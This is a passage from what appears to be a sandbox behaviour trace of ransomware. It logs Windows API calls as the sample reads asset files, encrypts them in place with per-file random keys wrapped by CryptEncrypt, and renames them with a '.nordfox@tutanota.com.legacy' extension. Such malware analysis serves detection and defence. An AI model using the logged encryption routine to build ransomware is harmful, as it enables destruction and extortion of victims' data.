lpBuffer=0x30d1028, nNumberOfBytesToRead=0x442d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x442d, lpOverlapped=0x0) returned 1 [0170.473] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.473] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5460*, nNumberOfBytesToWrite=0x442d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x442d, lpOverlapped=0x0) returned 1 [0170.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5460 | out: hHeap=0x520000) returned 1 [0170.474] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x442d [0170.474] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.474] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.474] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.474] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.474] CloseHandle (hObject=0x1830) returned 1 [0170.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.474] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4b00 | out: hHeap=0x520000) returned 1 [0170.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73c90 | out: hHeap=0x520000) returned 1 [0170.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f732b8 | out: hHeap=0x520000) returned 1 [0170.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f74398 [0170.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.476] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.476] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.476] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e", dwFileAttributes=0x80) returned 1 [0170.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73df8 [0170.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0170.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73df8 | out: hHeap=0x520000) returned 1 [0170.477] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.477] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16754) returned 1 [0170.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4172) returned 0x30d1028 [0170.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4172) returned 0x30d51a8 [0170.477] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4172, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4172, lpOverlapped=0x0) returned 1 [0170.489] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16754, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.489] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51a8*, nNumberOfBytesToWrite=0x4172, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4172, lpOverlapped=0x0) returned 1 [0170.489] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.489] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d51a8 | out: hHeap=0x520000) returned 1 [0170.490] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4172 [0170.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.490] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.490] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.490] CloseHandle (hObject=0x1830) returned 1 [0170.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.490] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.492] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4d28 | out: hHeap=0x520000) returned 1 [0170.492] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74398 | out: hHeap=0x520000) returned 1 [0170.492] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73420 | out: hHeap=0x520000) returned 1 [0170.492] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73b28 [0170.492] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0170.492] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0170.492] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.492] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0170.492] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0", dwFileAttributes=0x80) returned 1 [0170.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f72d18 [0170.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b57f0 [0170.493] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f72d18 | out: hHeap=0x520000) returned 1 [0170.493] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.493] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=23610) returned 1 [0170.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5c3a) returned 0x30d1028 [0170.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5c3a) returned 0x30d6c70 [0170.493] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x5c3a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c3a, lpOverlapped=0x0) returned 1 [0170.498] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-23610, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.498] WriteFile (in: hFile=0x1830, lpBuffer=0x30d6c70*, nNumberOfBytesToWrite=0x5c3a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d6c70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c3a, lpOverlapped=0x0) returned 1 [0170.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6c70 | out: hHeap=0x520000) returned 1 [0170.499] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c3a [0170.499] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.499] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.499] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.499] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.499] CloseHandle (hObject=0x1830) returned 1 [0170.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0170.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0170.499] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.501] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b57f0 | out: hHeap=0x520000) returned 1 [0170.501] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73b28 | out: hHeap=0x520000) returned 1 [0170.501] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73f60 | out: hHeap=0x520000) returned 1 [0170.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f728e0 [0170.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0170.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0170.501] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.501] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0170.501] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c", dwFileAttributes=0x80) returned 1 [0170.502] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f74230 [0170.502] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5a18 [0170.502] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74230 | out: hHeap=0x520000) returned 1 [0170.502] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.502] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2080) returned 1 [0170.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x820) returned 0x2f74cc0 [0170.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x820) returned 0x33b6018 [0170.503] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x820, lpOverlapped=0x0) returned 1 [0170.512] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-2080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.512] WriteFile (in: hFile=0x1830, lpBuffer=0x33b6018*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x820, lpOverlapped=0x0) returned 1 [0170.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0170.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0170.512] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x820 [0170.512] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.512] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.513] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.513] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.513] CloseHandle (hObject=0x1830) returned 1 [0170.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0170.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0170.513] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5a18 | out: hHeap=0x520000) returned 1 [0170.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f728e0 | out: hHeap=0x520000) returned 1 [0170.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ab78 | out: hHeap=0x520000) returned 1 [0170.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60ab78 [0170.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0170.515] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.515] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0170.515] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837", dwFileAttributes=0x80) returned 1 [0170.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f740c8 [0170.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5c40 [0170.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f740c8 | out: hHeap=0x520000) returned 1 [0170.516] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.516] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16759) returned 1 [0170.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4177) returned 0x30d1028 [0170.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4177) returned 0x30d51a8 [0170.516] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4177, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4177, lpOverlapped=0x0) returned 1 [0170.526] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16759, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.526] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51a8*, nNumberOfBytesToWrite=0x4177, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4177, lpOverlapped=0x0) returned 1 [0170.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d51a8 | out: hHeap=0x520000) returned 1 [0170.526] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4177 [0170.526] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.526] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.527] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.527] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.527] CloseHandle (hObject=0x1830) returned 1 [0170.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0170.527] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837.1506877342345.nordfox@tutanota.com.legacy" (normalized: 